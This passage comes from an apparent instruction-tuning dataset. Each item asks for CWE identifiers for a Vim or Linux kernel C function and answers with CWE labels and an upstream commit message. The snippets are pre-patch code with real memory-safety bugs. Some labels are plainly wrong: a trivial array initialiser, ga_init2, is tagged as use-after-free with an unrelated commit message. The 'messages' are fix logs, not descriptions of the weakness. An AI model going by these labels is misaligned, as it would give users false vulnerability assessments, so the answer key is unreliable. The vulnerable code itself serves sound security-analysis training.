< opened_len; ++i)\n\t\t{\n\t\t if (i < alist->al_ga.ga_len\n\t\t\t && (AARGLIST(alist)[i].ae_fnum == buf->b_fnum\n\t\t\t\t|| fullpathcmp(alist_name(&AARGLIST(alist)[i]),\n\t\t\t\t\tbuf->b_ffname, TRUE, TRUE) & FPC_SAME))\n\t\t {\n\t\t\tint weight = 1;\n\n\t\t\tif (old_curtab == curtab)\n\t\t\t{\n\t\t\t ++weight;\n\t\t\t if (old_curwin == wp)\n\t\t\t\t++weight;\n\t\t\t}\n\n\t\t\tif (weight > (int)opened[i])\n\t\t\t{\n\t\t\t opened[i] = (char_u)weight;\n\t\t\t if (i == 0)\n\t\t\t {\n\t\t\t\tif (new_curwin != NULL)\n\t\t\t\t new_curwin->w_arg_idx = opened_len;\n\t\t\t\tnew_curwin = wp;\n\t\t\t\tnew_curtab = curtab;\n\t\t\t }\n\t\t\t}\n\t\t\telse if (keep_tabs)\n\t\t\t i = opened_len;\n\n\t\t\tif (wp->w_alist != alist)\n\t\t\t{\n\t\t\t // Use the current argument list for all windows\n\t\t\t // containing a file from it.\n\t\t\t alist_unlink(wp->w_alist);\n\t\t\t wp->w_alist = alist;\n\t\t\t ++wp->w_alist->al_refcount;\n\t\t\t}\n\t\t\tbreak;\n\t\t }\n\t\t}\n\t }\n\t wp->w_arg_idx = i;\n\n\t if (i == opened_len && !keep_tabs)// close this window\n\t {\n\t\tif (buf_hide(buf) || forceit || buf->b_nwindows > 1\n\t\t\t\t\t\t\t|| !bufIsChanged(buf))\n\t\t{\n\t\t // If the buffer was changed, and we would like to hide it,\n\t\t // try autowriting.\n\t\t if (!buf_hide(buf) && buf->b_nwindows <= 1\n\t\t\t\t\t\t\t && bufIsChanged(buf))\n\t\t {\n\t\t\tbufref_T bufref;\n\n\t\t\tset_bufref(&bufref, buf);\n\n\t\t\t(void)autowrite(buf, FALSE);\n\n\t\t\t// check if autocommands removed the window\n\t\t\tif (!win_valid(wp) || !bufref_valid(&bufref))\n\t\t\t{\n\t\t\t wpnext = firstwin;\t// start all over...\n\t\t\t continue;\n\t\t\t}\n\t\t }\n\t\t // don't close last window\n\t\t if (ONE_WINDOW\n\t\t\t && (first_tabpage->tp_next == NULL || !had_tab))\n\t\t\tuse_firstwin = TRUE;\n\t\t else\n\t\t {\n\t\t\twin_close(wp, !buf_hide(buf) && !bufIsChanged(buf));\n\n\t\t\t// check if autocommands removed the next window\n\t\t\tif (!win_valid(wpnext))\n\t\t\t wpnext = firstwin;\t// start all over...\n\t\t }\n\t\t}\n\t }\n\t}\n\n\t// Without the \":tab\" modifier only do the current tab page.\n\tif (had_tab == 0 || tpnext == NULL)\n\t break;\n\n\t// check if autocommands removed the next tab page\n\tif (!valid_tabpage(tpnext))\n\t tpnext = first_tabpage;\t// start all over...\n\n\tgoto_tabpage_tp(tpnext, TRUE, TRUE);\n }\n\n // Open a window for files in the argument list that don't have one.\n // ARGCOUNT may change while doing this, because of autocommands.\n if (count > opened_len || count <= 0)\n\tcount = opened_len;\n\n // Don't execute Win/Buf Enter/Leave autocommands here.\n ++autocmd_no_enter;\n ++autocmd_no_leave;\n last_curwin = curwin;\n last_curtab = curtab;\n win_enter(lastwin, FALSE);\n // \":tab drop file\" should re-use an empty window to avoid \"--remote-tab\"\n // leaving an empty tab page when executed locally.\n if (keep_tabs && BUFEMPTY() && curbuf->b_nwindows == 1\n\t\t\t && curbuf->b_ffname == NULL && !curbuf->b_changed)\n {\n\tuse_firstwin = TRUE;\n\ttab_drop_empty_window = TRUE;\n }\n\n for (i = 0; i < count && !got_int; ++i)\n {\n\tif (alist == &global_alist && i == global_alist.al_ga.ga_len - 1)\n\t arg_had_last = TRUE;\n\tif (opened[i] > 0)\n\t{\n\t // Move the already present window to below the current window\n\t if (curwin->w_arg_idx != i)\n\t {\n\t\tFOR_ALL_WINDOWS(wpnext)\n\t\t{\n\t\t if (wpnext->w_arg_idx == i)\n\t\t {\n\t\t\tif (keep_tabs)\n\t\t\t{\n\t\t\t new_curwin = wpnext;\n\t\t\t new_curtab = curtab;\n\t\t\t}\n\t\t\telse if (wpnext->w_frame->fr_parent\n\t\t\t\t\t\t != curwin->w_frame->fr_parent)\n\t\t\t{\n\t\t\t emsg(_(\"E249: window layout changed unexpectedly\"));\n\t\t\t i = count;\n\t\t\t break;\n\t\t\t}\n\t\t\telse\n\t\t\t win_move_after(wpnext, curwin);\n\t\t\tbreak;\n\t\t }\n\t\t}\n\t }\n\t}\n\telse if (split_ret == OK)\n\t{\n\t // trigger events for tab drop\n\t if (tab_drop_empty_window && i == count - 1)\n\t\t--autocmd_no_enter;\n\t if (!use_firstwin)\t\t// split current window\n\t {\n\t\tp_ea_save = p_ea;\n\t\tp_ea = TRUE;\t\t// use space from all windows\n\t\tsplit_ret = win_split(0, WSP_ROOM | WSP_BELOW);\n\t\tp_ea = p_ea_save;\n\t\tif (split_ret == FAIL)\n\t\t continue;\n\t }\n\t else // first window: do autocmd for leaving this buffer\n\t\t--autocmd_no_leave;\n\n\t // edit file \"i\"\n\t curwin->w_arg_idx = i;\n\t if (i == 0)\n\t {\n\t\tnew_curwin = curwin;\n\t\tnew_curtab = curtab;\n\t }\n\t (void)do_ecmd(0, alist_name(&AARGLIST(alist)[i]), NULL, NULL,\n\t\t ECMD_ONE,\n\t\t ((buf_hide(curwin->w_buffer)\n\t\t\t || bufIsChanged(curwin->w_buffer)) ? ECMD_HIDE : 0)\n\t\t\t\t\t\t + ECMD_OLDBUF, curwin);\n\t if (tab_drop_empty_window && i == count - 1)\n\t\t++autocmd_no_enter;\n\t if (use_firstwin)\n\t\t++autocmd_no_leave;\n\t use_firstwin = FALSE;\n\t}\n\tui_breakcheck();\n\n\t// When \":tab\" was used open a new tab for a new window repeatedly.\n\tif (had_tab > 0 && tabpage_index(NULL) <= p_tpm)\n\t cmdmod.cmod_tab = 9999;\n }\n\n // Remove the \"lock\" on the argument list.\n alist_unlink(alist);\n\n --autocmd_no_enter;\n\n // restore last referenced tabpage's curwin\n if (last_curtab != new_curtab)\n {\n\tif (valid_tabpage(last_curtab))\n\t goto_tabpage_tp(last_curtab, TRUE, TRUE);\n\tif (win_valid(last_curwin))\n\t win_enter(last_curwin, FALSE);\n }\n // to window with first arg\n if (valid_tabpage(new_curtab))\n\tgoto_tabpage_tp(new_curtab, TRUE, TRUE);\n if (win_valid(new_curwin))\n\twin_enter(new_curwin, FALSE);\n\n --autocmd_no_leave;\n vim_free(opened);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416', 'CWE-125'], 'message': 'patch 8.2.3884: crash when clearing the argument list while using it\n\nProblem: Crash when clearing the argument list while using it.\nSolution: Lock the argument list for \":all\".'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \nstatic __always_inline int kvm_handle_hva_range_no_flush(struct mmu_notifier *mn,\n\t\t\t\t\t\t\t unsigned long start,\n\t\t\t\t\t\t\t unsigned long end,\n\t\t\t\t\t\t\t hva_handler_t handler)\n{\n\tstruct kvm *kvm = mmu_notifier_to_kvm(mn);\n\tconst struct kvm_hva_range range = {\n\t\t.start\t\t= start,\n\t\t.end\t\t= end,\n\t\t.pte\t\t= __pte(0),\n\t\t.handler\t= handler,\n\t\t.on_lock\t= (void *)kvm_null_fn,\n\t\t.flush_on_ret\t= false,\n\t\t.may_block\t= false,\n\t};\n\n\treturn __kvm_handle_hva_range(kvm, &range); ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-459'], 'message': 'KVM: SEV: add cache flush to solve SEV cache incoherency issues\n\nFlush the CPU caches when memory is reclaimed from an SEV guest (where\nreclaim also includes it being unmapped from KVM's memslots). Due to lack\nof coherency for SEV encrypted memory, failure to flush results in silent\ndata corruption if userspace is malicious/broken and doesn't ensure SEV\nguest memory is properly pinned and unpinned.\n\nCache coherency is not enforced across the VM boundary in SEV (AMD APM\nvol.2 Section 15.34.7). Confidential cachelines, generated by confidential\nVM guests have to be explicitly flushed on the host side. If a memory page\ncontaining dirty confidential cachelines was released by VM and reallocated\nto another user, the cachelines may corrupt the new user at a later time.\n\nKVM takes a shortcut by assuming all confidential memory remain pinned\nuntil the end of VM lifetime. Therefore, KVM does not flush cache at\nmmu_notifier invalidation events. Because of this incorrect assumption and\nthe lack of cache flushing, malicous userspace can crash the host kernel:\ncreating a malicious VM and continuously allocates/releases unpinned\nconfidential memory pages when the VM is running.\n\nAdd cache flush operations to mmu_notifier operations to ensure that any\nphysical memory leaving the guest VM get flushed. In particular, hook\nmmu_notifier_invalidate_range_start and mmu_notifier_release events and\nflush cache accordingly. The hook after releasing the mmu lock to avoid\ncontention with other vCPUs.\n\nCc: stable@vger.kernel.org\nSuggested-by: Sean Christpherson \nReported-by: Mingwei Zhang \nSigned-off-by: Mingwei Zhang \nMessage-Id: <20220421031407.2516575-4-mizhang@google.com>\nSigned-off-by: Paolo Bonzini '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ex_function(exarg_T *eap)\n{\n char_u *line_to_free = NULL;\n\n (void)define_function(eap, NULL, &line_to_free);\n vim_free(line_to_free);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'patch 8.2.4040: keeping track of allocated lines is too complicated\n\nProblem: Keeping track of allocated lines in user functions is too\n complicated.\nSolution: Instead of freeing individual lines keep them all until the end.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ga_init2(garray_T *gap, int itemsize, int growsize)\n{\n ga_init(gap);\n gap->ga_itemsize = itemsize;\n gap->ga_growsize = growsize;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'patch 8.2.4040: keeping track of allocated lines is too complicated\n\nProblem: Keeping track of allocated lines in user functions is too\n complicated.\nSolution: Instead of freeing individual lines keep them all until the end.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct sctp_chunk *sctp_make_strreset_req(\n\t\t\t\t\tconst struct sctp_association *asoc,\n\t\t\t\t\t__u16 stream_num, __be16 *stream_list,\n\t\t\t\t\tbool out, bool in)\n{\n\t__u16 stream_len = stream_num * sizeof(__u16);\n\tstruct sctp_strreset_outreq outreq;\n\tstruct sctp_strreset_inreq inreq;\n\tstruct sctp_chunk *retval;\n\t__u16 outlen, inlen;\n\n\toutlen = (sizeof(outreq) + stream_len) * out;\n\tinlen = (sizeof(inreq) + stream_len) * in;\n\n\tretval = sctp_make_reconf(asoc, outlen + inlen);\n\tif (!retval)\n\t\treturn NULL;\n\n\tif (outlen) {\n\t\toutreq.param_hdr.type = SCTP_PARAM_RESET_OUT_REQUEST;\n\t\toutreq.param_hdr.length = htons(outlen);\n\t\toutreq.request_seq = htonl(asoc->strreset_outseq);\n\t\toutreq.response_seq = htonl(asoc->strreset_inseq - 1);\n\t\toutreq.send_reset_at_tsn = htonl(asoc->next_tsn - 1);\n\n\t\tsctp_addto_chunk(retval, sizeof(outreq), &outreq);\n\n\t\tif (stream_len)\n\t\t\tsctp_addto_chunk(retval, stream_len, stream_list);\n\t}\n\n\tif (inlen) {\n\t\tinreq.param_hdr.type = SCTP_PARAM_RESET_IN_REQUEST;\n\t\tinreq.param_hdr.length = htons(inlen);\n\t\tinreq.request_seq = htonl(asoc->strreset_outseq + out);\n\n\t\tsctp_addto_chunk(retval, sizeof(inreq), &inreq);\n\n\t\tif (stream_len)\n\t\t\tsctp_addto_chunk(retval, stream_len, stream_list);\n\t}\n\n\treturn retval;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-704'], 'message': 'sctp: account stream padding length for reconf chunk\n\nsctp_make_strreset_req() makes repeated calls to sctp_addto_chunk()\nwhich will automatically account for padding on each call. inreq and\noutreq are already 4 bytes aligned, but the payload is not and doing\nSCTP_PAD4(a + b) (which _sctp_make_chunk() did implicitly here) is\ndifferent from SCTP_PAD4(a) + SCTP_PAD4(b) and not enough. It led to\npossible attempt to use more buffer than it was allocated and triggered\na BUG_ON.\n\nCc: Vlad Yasevich \nCc: Neil Horman \nCc: Greg KH \nFixes: cc16f00f6529 (\"sctp: add support for generating stream reconf ssn reset request chunk\")\nReported-by: Eiichi Tsukata \nSigned-off-by: Eiichi Tsukata \nSigned-off-by: Marcelo Ricardo Leitner \nSigned-off-by: Marcelo Ricardo Leitner \nReviewed-by: Xin Long \nLink: https://lore.kernel.org/r/b97c1f8b0c7ff79ac4ed206fc2c49d3612e0850c.1634156849.git.mleitner@redhat.com\nSigned-off-by: Jakub Kicinski '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: compile_def_function(\n\tufunc_T\t\t*ufunc,\n\tint\t\tcheck_return_type,\n\tcompiletype_T compile_type,\n\tcctx_T\t\t*outer_cctx)\n{\n char_u\t*line = NULL;\n char_u\t*line_to_free = NULL;\n char_u\t*p;\n char\t*errormsg = NULL;\t// error message\n cctx_T\tcctx;\n garray_T\t*instr;\n int\t\tdid_emsg_before = did_emsg;\n int\t\tdid_emsg_silent_before = did_emsg_silent;\n int\t\tret = FAIL;\n sctx_T\tsave_current_sctx = current_sctx;\n int\t\tsave_estack_compiling = estack_compiling;\n int\t\tsave_cmod_flags = cmdmod.cmod_flags;\n int\t\tdo_estack_push;\n int\t\tnew_def_function = FALSE;\n#ifdef FEAT_PROFILE\n int\t\tprof_lnum = -1;\n#endif\n int\t\tdebug_lnum = -1;\n\n // When using a function that was compiled before: Free old instructions.\n // The index is reused. Otherwise add a new entry in \"def_functions\".\n if (ufunc->uf_dfunc_idx > 0)\n {\n\tdfunc_T *dfunc = ((dfunc_T *)def_functions.ga_data)\n\t\t\t\t\t\t\t + ufunc->uf_dfunc_idx;\n\tisn_T\t*instr_dest = NULL;\n\n\tswitch (compile_type)\n\t{\n\t case CT_PROFILE:\n#ifdef FEAT_PROFILE\n\t\t\t instr_dest = dfunc->df_instr_prof; break;\n#endif\n\t case CT_NONE: instr_dest = dfunc->df_instr; break;\n\t case CT_DEBUG: instr_dest = dfunc->df_instr_debug; break;\n\t}\n\tif (instr_dest != NULL)\n\t // Was compiled in this mode before: Free old instructions.\n\t delete_def_function_contents(dfunc, FALSE);\n\tga_clear_strings(&dfunc->df_var_names);\n }\n else\n {\n\tif (add_def_function(ufunc) == FAIL)\n\t return FAIL;\n\tnew_def_function = TRUE;\n }\n\n ufunc->uf_def_status = UF_COMPILING;\n\n CLEAR_FIELD(cctx);\n\n cctx.ctx_compile_type = compile_type;\n cctx.ctx_ufunc = ufunc;\n cctx.ctx_lnum = -1;\n cctx.ctx_outer = outer_cctx;\n ga_init2(&cctx.ctx_locals, sizeof(lvar_T), 10);\n // Each entry on the type stack consists of two type pointers.\n ga_init2(&cctx.ctx_type_stack, sizeof(type2_T), 50);\n ga_init2(&cctx.ctx_imports, sizeof(imported_T), 10);\n cctx.ctx_type_list = &ufunc->uf_type_list;\n ga_init2(&cctx.ctx_instr, sizeof(isn_T), 50);\n instr = &cctx.ctx_instr;\n\n // Set the context to the function, it may be compiled when called from\n // another script. Set the script version to the most modern one.\n // The line number will be set in next_line_from_context().\n current_sctx = ufunc->uf_script_ctx;\n current_sctx.sc_version = SCRIPT_VERSION_VIM9;\n\n // Don't use the flag from \":legacy\" here.\n cmdmod.cmod_flags &= ~CMOD_LEGACY;\n\n // Make sure error messages are OK.\n do_estack_push = !estack_top_is_ufunc(ufunc, 1);\n if (do_estack_push)\n\testack_push_ufunc(ufunc, 1);\n estack_compiling = TRUE;\n\n if (check_args_shadowing(ufunc, &cctx) == FAIL)\n\tgoto erret;\n\n if (ufunc->uf_def_args.ga_len > 0)\n {\n\tint\tcount = ufunc->uf_def_args.ga_len;\n\tint\tfirst_def_arg = ufunc->uf_args.ga_len - count;\n\tint\ti;\n\tchar_u\t*arg;\n\tint\toff = STACK_FRAME_SIZE + (ufunc->uf_va_name != NULL ? 1 : 0);\n\tint\tdid_set_arg_type = FALSE;\n\n\t// Produce instructions for the default values of optional arguments.\n\tSOURCING_LNUM = 0; // line number unknown\n\tfor (i = 0; i < count; ++i)\n\t{\n\t type_T\t*val_type;\n\t int\t\targ_idx = first_def_arg + i;\n\t where_T\twhere = WHERE_INIT;\n\t int\t\tr;\n\t int\t\tjump_instr_idx = instr->ga_len;\n\t isn_T\t*isn;\n\n\t // Use a JUMP_IF_ARG_SET instruction to skip if the value was given.\n\t if (generate_JUMP_IF_ARG_SET(&cctx, i - count - off) == FAIL)\n\t\tgoto erret;\n\n\t // Make sure later arguments are not found.\n\t ufunc->uf_args_visible = arg_idx;\n\n\t arg = ((char_u **)(ufunc->uf_def_args.ga_data))[i];\n\t r = compile_expr0(&arg, &cctx);\n\n\t if (r == FAIL)\n\t\tgoto erret;\n\n\t // If no type specified use the type of the default value.\n\t // Otherwise check that the default value type matches the\n\t // specified type.\n\t val_type = get_type_on_stack(&cctx, 0);\n\t where.wt_index = arg_idx + 1;\n\t if (ufunc->uf_arg_types[arg_idx] == &t_unknown)\n\t {\n\t\tdid_set_arg_type = TRUE;\n\t\tufunc->uf_arg_types[arg_idx] = val_type;\n\t }\n\t else if (need_type_where(val_type, ufunc->uf_arg_types[arg_idx],\n\t\t\t\t -1, where, &cctx, FALSE, FALSE) == FAIL)\n\t\tgoto erret;\n\n\t if (generate_STORE(&cctx, ISN_STORE, i - count - off, NULL) == FAIL)\n\t\tgoto erret;\n\n\t // set instruction index in JUMP_IF_ARG_SET to here\n\t isn = ((isn_T *)instr->ga_data) + jump_instr_idx;\n\t isn->isn_arg.jumparg.jump_where = instr->ga_len;\n\t}\n\n\tif (did_set_arg_type)\n\t set_function_type(ufunc);\n }\n ufunc->uf_args_visible = ufunc->uf_args.ga_len;\n\n /*\n * Loop over all the lines of the function and generate instructions.\n */\n for (;;)\n {\n\texarg_T\t ea;\n\tint\t starts_with_colon = FALSE;\n\tchar_u\t *cmd;\n\tcmdmod_T local_cmdmod;\n\n\t// Bail out on the first error to avoid a flood of errors and report\n\t// the right line number when inside try/catch.\n\tif (did_emsg_before != did_emsg)\n\t goto erret;\n\n\tif (line != NULL && *line == '|')\n\t // the line continues after a '|'\n\t ++line;\n\telse if (line != NULL && *skipwhite(line) != NUL\n\t\t&& !(*line == '#' && (line == cctx.ctx_line_start\n\t\t\t\t\t\t || VIM_ISWHITE(line[-1]))))\n\t{\n\t semsg(_(e_trailing_characters_str), line);\n\t goto erret;\n\t}\n\telse if (line != NULL && vim9_bad_comment(skipwhite(line)))\n\t goto erret;\n\telse\n\t{\n\t line = next_line_from_context(&cctx, FALSE);\n\t if (cctx.ctx_lnum >= ufunc->uf_lines.ga_len)\n\t {\n\t\t// beyond the last line\n#ifdef FEAT_PROFILE\n\t\tif (cctx.ctx_skip != SKIP_YES)\n\t\t may_generate_prof_end(&cctx, prof_lnum);\n#endif\n\t\tbreak;\n\t }\n\t // Make a copy, splitting off nextcmd and removing trailing spaces\n\t // may change it.\n\t if (line != NULL)\n\t {\n\t\tline = vim_strsave(line);\n\t\tvim_free(line_to_free);\n\t\tline_to_free = line;\n\t }\n\t}\n\n\tCLEAR_FIELD(ea);\n\tea.cmdlinep = &line;\n\tea.cmd = skipwhite(line);\n\n\tif (*ea.cmd == '#')\n\t{\n\t // \"#\" starts a comment\n\t line = (char_u *)\"\";\n\t continue;\n\t}\n\n#ifdef FEAT_PROFILE\n\tif (cctx.ctx_compile_type == CT_PROFILE && cctx.ctx_lnum != prof_lnum\n\t\t\t\t\t\t && cctx.ctx_skip != SKIP_YES)\n\t{\n\t may_generate_prof_end(&cctx, prof_lnum);\n\n\t prof_lnum = cctx.ctx_lnum;\n\t generate_instr(&cctx, ISN_PROF_START);\n\t}\n#endif\n\tif (cctx.ctx_compile_type == CT_DEBUG && cctx.ctx_lnum != debug_lnum\n\t\t\t\t\t\t && cctx.ctx_skip != SKIP_YES)\n\t{\n\t debug_lnum = cctx.ctx_lnum;\n\t generate_instr_debug(&cctx);\n\t}\n\tcctx.ctx_prev_lnum = cctx.ctx_lnum + 1;\n\n\t// Some things can be recognized by the first character.\n\tswitch (*ea.cmd)\n\t{\n\t case '}':\n\t\t{\n\t\t // \"}\" ends a block scope\n\t\t scopetype_T stype = cctx.ctx_scope == NULL\n\t\t\t\t\t ? NO_SCOPE : cctx.ctx_scope->se_type;\n\n\t\t if (stype == BLOCK_SCOPE)\n\t\t {\n\t\t\tcompile_endblock(&cctx);\n\t\t\tline = ea.cmd;\n\t\t }\n\t\t else\n\t\t {\n\t\t\temsg(_(e_using_rcurly_outside_if_block_scope));\n\t\t\tgoto erret;\n\t\t }\n\t\t if (line != NULL)\n\t\t\tline = skipwhite(ea.cmd + 1);\n\t\t continue;\n\t\t}\n\n\t case '{':\n\t\t// \"{\" starts a block scope\n\t\t// \"{'a': 1}->func() is something else\n\t\tif (ends_excmd(*skipwhite(ea.cmd + 1)))\n\t\t{\n\t\t line = compile_block(ea.cmd, &cctx);\n\t\t continue;\n\t\t}\n\t\tbreak;\n\t}\n\n\t/*\n\t * COMMAND MODIFIERS\n\t */\n\tcctx.ctx_has_cmdmod = FALSE;\n\tif (parse_command_modifiers(&ea, &errormsg, &local_cmdmod, FALSE)\n\t\t\t\t\t\t\t\t == FAIL)\n\t{\n\t if (errormsg != NULL)\n\t\tgoto erret;\n\t // empty line or comment\n\t line = (char_u *)\"\";\n\t continue;\n\t}\n\tgenerate_cmdmods(&cctx, &local_cmdmod);\n\tundo_cmdmod(&local_cmdmod);\n\n\t// Check if there was a colon after the last command modifier or before\n\t// the current position.\n\tfor (p = ea.cmd; p >= line; --p)\n\t{\n\t if (*p == ':')\n\t\tstarts_with_colon = TRUE;\n\t if (p < ea.cmd && !VIM_ISWHITE(*p))\n\t\tbreak;\n\t}\n\n\t// Skip \":call\" to get to the function name, unless using :legacy\n\tp = ea.cmd;\n\tif (!(local_cmdmod.cmod_flags & CMOD_LEGACY))\n\t{\n\t if (checkforcmd(&ea.cmd, \"call\", 3))\n\t {\n\t\tif (*ea.cmd == '(')\n\t\t // not for \"call()\"\n\t\t ea.cmd = p;\n\t\telse\n\t\t ea.cmd = skipwhite(ea.cmd);\n\t }\n\n\t if (!starts_with_colon)\n\t {\n\t\tint\t assign;\n\n\t\t// Check for assignment after command modifiers.\n\t\tassign = may_compile_assignment(&ea, &line, &cctx);\n\t\tif (assign == OK)\n\t\t goto nextline;\n\t\tif (assign == FAIL)\n\t\t goto erret;\n\t }\n\t}\n\n\t/*\n\t * COMMAND after range\n\t * 'text'->func() should not be confused with 'a mark\n\t * \"++nr\" and \"--nr\" are eval commands\n\t * in \"$ENV->func()\" the \"$\" is not a range\n\t */\n\tcmd = ea.cmd;\n\tif ((*cmd != '$' || starts_with_colon)\n\t\t&& (starts_with_colon || !(*cmd == '\\''\n\t\t || (cmd[0] == cmd[1] && (*cmd == '+' || *cmd == '-')))))\n\t{\n\t ea.cmd = skip_range(ea.cmd, TRUE, NULL);\n\t if (ea.cmd > cmd)\n\t {\n\t\tif (!starts_with_colon\n\t\t\t\t && !(local_cmdmod.cmod_flags & CMOD_LEGACY))\n\t\t{\n\t\t semsg(_(e_colon_required_before_range_str), cmd);\n\t\t goto erret;\n\t\t}\n\t\tea.addr_count = 1;\n\t\tif (ends_excmd2(line, ea.cmd))\n\t\t{\n\t\t // A range without a command: jump to the line.\n\t\t generate_EXEC(&cctx, ISN_EXECRANGE,\n\t\t\t\t\t vim_strnsave(cmd, ea.cmd - cmd));\n\t\t line = ea.cmd;\n\t\t goto nextline;\n\t\t}\n\t }\n\t}\n\tp = find_ex_command(&ea, NULL,\n\t\tstarts_with_colon || (local_cmdmod.cmod_flags & CMOD_LEGACY)\n\t\t\t\t\t\t ? NULL : item_exists, &cctx);\n\n\tif (p == NULL)\n\t{\n\t if (cctx.ctx_skip != SKIP_YES)\n\t\temsg(_(e_ambiguous_use_of_user_defined_command));\n\t goto erret;\n\t}\n\n\t// When using \":legacy cmd\" always use compile_exec().\n\tif (local_cmdmod.cmod_flags & CMOD_LEGACY)\n\t{\n\t char_u *start = ea.cmd;\n\n\t switch (ea.cmdidx)\n\t {\n\t\tcase CMD_if:\n\t\tcase CMD_elseif:\n\t\tcase CMD_else:\n\t\tcase CMD_endif:\n\t\tcase CMD_for:\n\t\tcase CMD_endfor:\n\t\tcase CMD_continue:\n\t\tcase CMD_break:\n\t\tcase CMD_while:\n\t\tcase CMD_endwhile:\n\t\tcase CMD_try:\n\t\tcase CMD_catch:\n\t\tcase CMD_finally:\n\t\tcase CMD_endtry:\n\t\t\tsemsg(_(e_cannot_use_legacy_with_command_str), ea.cmd);\n\t\t\tgoto erret;\n\t\tdefault: break;\n\t }\n\n\t // \":legacy return expr\" needs to be handled differently.\n\t if (checkforcmd(&start, \"return\", 4))\n\t\tea.cmdidx = CMD_return;\n\t else\n\t\tea.cmdidx = CMD_legacy;\n\t}\n\n\tif (p == ea.cmd && ea.cmdidx != CMD_SIZE)\n\t{\n\t if (cctx.ctx_skip == SKIP_YES && ea.cmdidx != CMD_eval)\n\t {\n\t\tline += STRLEN(line);\n\t\tgoto nextline;\n\t }\n\t else if (ea.cmdidx != CMD_eval)\n\t {\n\t\t// CMD_var cannot happen, compile_assignment() above would be\n\t\t// used. Most likely an assignment to a non-existing variable.\n\t\tsemsg(_(e_command_not_recognized_str), ea.cmd);\n\t\tgoto erret;\n\t }\n\t}\n\n\tif (cctx.ctx_had_return\n\t\t&& ea.cmdidx != CMD_elseif\n\t\t&& ea.cmdidx != CMD_else\n\t\t&& ea.cmdidx != CMD_endif\n\t\t&& ea.cmdidx != CMD_endfor\n\t\t&& ea.cmdidx != CMD_endwhile\n\t\t&& ea.cmdidx != CMD_catch\n\t\t&& ea.cmdidx != CMD_finally\n\t\t&& ea.cmdidx != CMD_endtry)\n\t{\n\t emsg(_(e_unreachable_code_after_return));\n\t goto erret;\n\t}\n\n\tp = skipwhite(p);\n\tif (ea.cmdidx != CMD_SIZE\n\t\t\t && ea.cmdidx != CMD_write && ea.cmdidx != CMD_read)\n\t{\n\t if (ea.cmdidx >= 0)\n\t\tea.argt = excmd_get_argt(ea.cmdidx);\n\t if ((ea.argt & EX_BANG) && *p == '!')\n\t {\n\t\tea.forceit = TRUE;\n\t\tp = skipwhite(p + 1);\n\t }\n\t}\n\n\tswitch (ea.cmdidx)\n\t{\n\t case CMD_def:\n\t case CMD_function:\n\t\t ea.arg = p;\n\t\t line = compile_nested_function(&ea, &cctx, &line_to_free);\n\t\t break;\n\n\t case CMD_return:\n\t\t line = compile_return(p, check_return_type,\n\t\t\t\t local_cmdmod.cmod_flags & CMOD_LEGACY, &cctx);\n\t\t cctx.ctx_had_return = TRUE;\n\t\t break;\n\n\t case CMD_let:\n\t\t emsg(_(e_cannot_use_let_in_vim9_script));\n\t\t break;\n\t case CMD_var:\n\t case CMD_final:\n\t case CMD_const:\n\t case CMD_increment:\n\t case CMD_decrement:\n\t\t line = compile_assignment(p, &ea, ea.cmdidx, &cctx);\n\t\t if (line == p)\n\t\t\tline = NULL;\n\t\t break;\n\n\t case CMD_unlet:\n\t case CMD_unlockvar:\n\t case CMD_lockvar:\n\t\t line = compile_unletlock(p, &ea, &cctx);\n\t\t break;\n\n\t case CMD_import:\n\t\t emsg(_(e_import_can_only_be_used_in_script));\n\t\t line = NULL;\n\t\t break;\n\n\t case CMD_if:\n\t\t line = compile_if(p, &cctx);\n\t\t break;\n\t case CMD_elseif:\n\t\t line = compile_elseif(p, &cctx);\n\t\t cctx.ctx_had_return = FALSE;\n\t\t break;\n\t case CMD_else:\n\t\t line = compile_else(p, &cctx);\n\t\t cctx.ctx_had_return = FALSE;\n\t\t break;\n\t case CMD_endif:\n\t\t line = compile_endif(p, &cctx);\n\t\t break;\n\n\t case CMD_while:\n\t\t line = compile_while(p, &cctx);\n\t\t break;\n\t case CMD_endwhile:\n\t\t line = compile_endwhile(p, &cctx);\n\t\t cctx.ctx_had_return = FALSE;\n\t\t break;\n\n\t case CMD_for:\n\t\t line = compile_for(p, &cctx);\n\t\t break;\n\t case CMD_endfor:\n\t\t line = compile_endfor(p, &cctx);\n\t\t cctx.ctx_had_return = FALSE;\n\t\t break;\n\t case CMD_continue:\n\t\t line = compile_continue(p, &cctx);\n\t\t break;\n\t case CMD_break:\n\t\t line = compile_break(p, &cctx);\n\t\t break;\n\n\t case CMD_try:\n\t\t line = compile_try(p, &cctx);\n\t\t break;\n\t case CMD_catch:\n\t\t line = compile_catch(p, &cctx);\n\t\t cctx.ctx_had_return = FALSE;\n\t\t break;\n\t case CMD_finally:\n\t\t line = compile_finally(p, &cctx);\n\t\t cctx.ctx_had_return = FALSE;\n\t\t break;\n\t case CMD_endtry:\n\t\t line = compile_endtry(p, &cctx);\n\t\t cctx.ctx_had_return = FALSE;\n\t\t break;\n\t case CMD_throw:\n\t\t line = compile_throw(p, &cctx);\n\t\t break;\n\n\t case CMD_eval:\n\t\t line = 